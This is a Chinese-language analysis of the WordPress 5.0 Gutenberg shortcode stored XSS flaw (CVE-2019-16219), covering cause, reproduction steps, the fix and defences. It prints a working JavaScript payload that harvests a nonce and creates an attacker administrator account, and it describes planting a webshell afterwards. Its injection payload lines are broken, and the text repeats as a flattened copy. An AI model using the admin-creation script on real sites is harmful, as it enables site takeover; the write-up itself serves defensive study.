浅析WordPress5.0存储型XSS漏洞
字数 1149 2025-08-26 22:11:14

WordPress 5.0存储型XSS漏洞分析与防御指南

漏洞概述

WordPress 5.0至5.0.4版本中存在一个严重的存储型跨站脚本(XSS)漏洞(CVE-2019-16219),该漏洞源于WordPress 5.0引入的新编辑器Gutenberg对Shortcode错误消息处理不当,未能正确过滤JavaScript/HTML代码。

受影响版本

  • WordPress 5.0至5.0.4
  • WordPress 5.1和5.1.1版本

漏洞原理

  1. Shortcode处理缺陷:当用户在Shortcode块中添加HTML编码字符(如"<")时,WordPress在重新打开帖子时会显示错误消息,并将"<"解码为"<"进行预览。

  2. XSS过滤器绕过:攻击者可以利用这一特性注入恶意JavaScript代码,如:

    ">
    
  3. 存储型攻击:恶意代码会被存储在数据库中,当其他用户(包括管理员)查看受感染页面时,代码会在其浏览器中执行。

漏洞复现步骤

  1. 以投稿者(Contributor)或更高权限用户身份登录WordPress
  2. 创建或编辑一篇帖子,添加Shortcode块
  3. 在Shortcode块中插入HTML编码字符或恶意XSS代码
  4. 保存并发布帖子
  5. 当其他用户查看该帖子时,XSS代码将被执行

攻击场景

基本XSS攻击

">

高级攻击 - 添加管理员账户

攻击者可托管恶意JavaScript文件(wpaddadmin.js),内容如下:

// 获取当前nonce值
var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wordpress/wp-admin/user-new.php";
var nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];

// 使用获取的nonce创建管理员账户
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@site.com&pass1=attacker&pass2=attacker&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);

然后注入以下代码加载并执行恶意脚本:

">

后续攻击

  1. 攻击者可以使用新创建的管理员账户登录
  2. 编辑现有PHP文件插入Webshell
  3. 完全控制Web服务器

漏洞修复

WordPress在wp-includes/js/dist/block-library.js中修复了此漏洞:

  1. 修复前:shortcode的attributes属性中source值为'text',前端页面会解析shortcode中的<值为<,导致HTML闭合
  2. 修复后:shortcode的attributes属性中source值改为'html',前端脚本不再解析<

防御措施

  1. 立即升级:将WordPress升级到最新版本
  2. 权限控制:严格限制投稿者(Contributor)及以上权限用户
  3. 输入过滤:对所有用户输入进行严格的HTML/JavaScript过滤
  4. 输出编码:在显示用户生成内容时进行适当的编码
  5. CSP策略:实施内容安全策略(Content Security Policy)限制脚本执行

总结

此漏洞展示了存储型XSS的高危性,特别是当攻击目标为高权限用户时,可能导致整个系统沦陷。网站管理员应保持WordPress及其插件/主题的及时更新,并实施深度防御策略以降低此类风险。

WordPress 5.0存储型XSS漏洞分析与防御指南 漏洞概述 WordPress 5.0至5.0.4版本中存在一个严重的存储型跨站脚本(XSS)漏洞(CVE-2019-16219),该漏洞源于WordPress 5.0引入的新编辑器Gutenberg对Shortcode错误消息处理不当,未能正确过滤JavaScript/HTML代码。 受影响版本 WordPress 5.0至5.0.4 WordPress 5.1和5.1.1版本 漏洞原理 Shortcode处理缺陷 :当用户在Shortcode块中添加HTML编码字符(如"&lt;")时,WordPress在重新打开帖子时会显示错误消息,并将"&lt;"解码为" <"进行预览。 XSS过滤器绕过 :攻击者可以利用这一特性注入恶意JavaScript代码,如: 存储型攻击 :恶意代码会被存储在数据库中,当其他用户(包括管理员)查看受感染页面时,代码会在其浏览器中执行。 漏洞复现步骤 以投稿者(Contributor)或更高权限用户身份登录WordPress 创建或编辑一篇帖子,添加Shortcode块 在Shortcode块中插入HTML编码字符或恶意XSS代码 保存并发布帖子 当其他用户查看该帖子时,XSS代码将被执行 攻击场景 基本XSS攻击 高级攻击 - 添加管理员账户 攻击者可托管恶意JavaScript文件(wpaddadmin.js),内容如下: 然后注入以下代码加载并执行恶意脚本: 后续攻击 攻击者可以使用新创建的管理员账户登录 编辑现有PHP文件插入Webshell 完全控制Web服务器 漏洞修复 WordPress在 wp-includes/js/dist/block-library.js 中修复了此漏洞: 修复前 :shortcode的attributes属性中source值为'text',前端页面会解析shortcode中的<值为 <,导致HTML闭合 修复后 :shortcode的attributes属性中source值改为'html',前端脚本不再解析 < 防御措施 立即升级 :将WordPress升级到最新版本 权限控制 :严格限制投稿者(Contributor)及以上权限用户 输入过滤 :对所有用户输入进行严格的HTML/JavaScript过滤 输出编码 :在显示用户生成内容时进行适当的编码 CSP策略 :实施内容安全策略(Content Security Policy)限制脚本执行 总结 此漏洞展示了存储型XSS的高危性,特别是当攻击目标为高权限用户时,可能导致整个系统沦陷。网站管理员应保持WordPress及其插件/主题的及时更新,并实施深度防御策略以降低此类风险。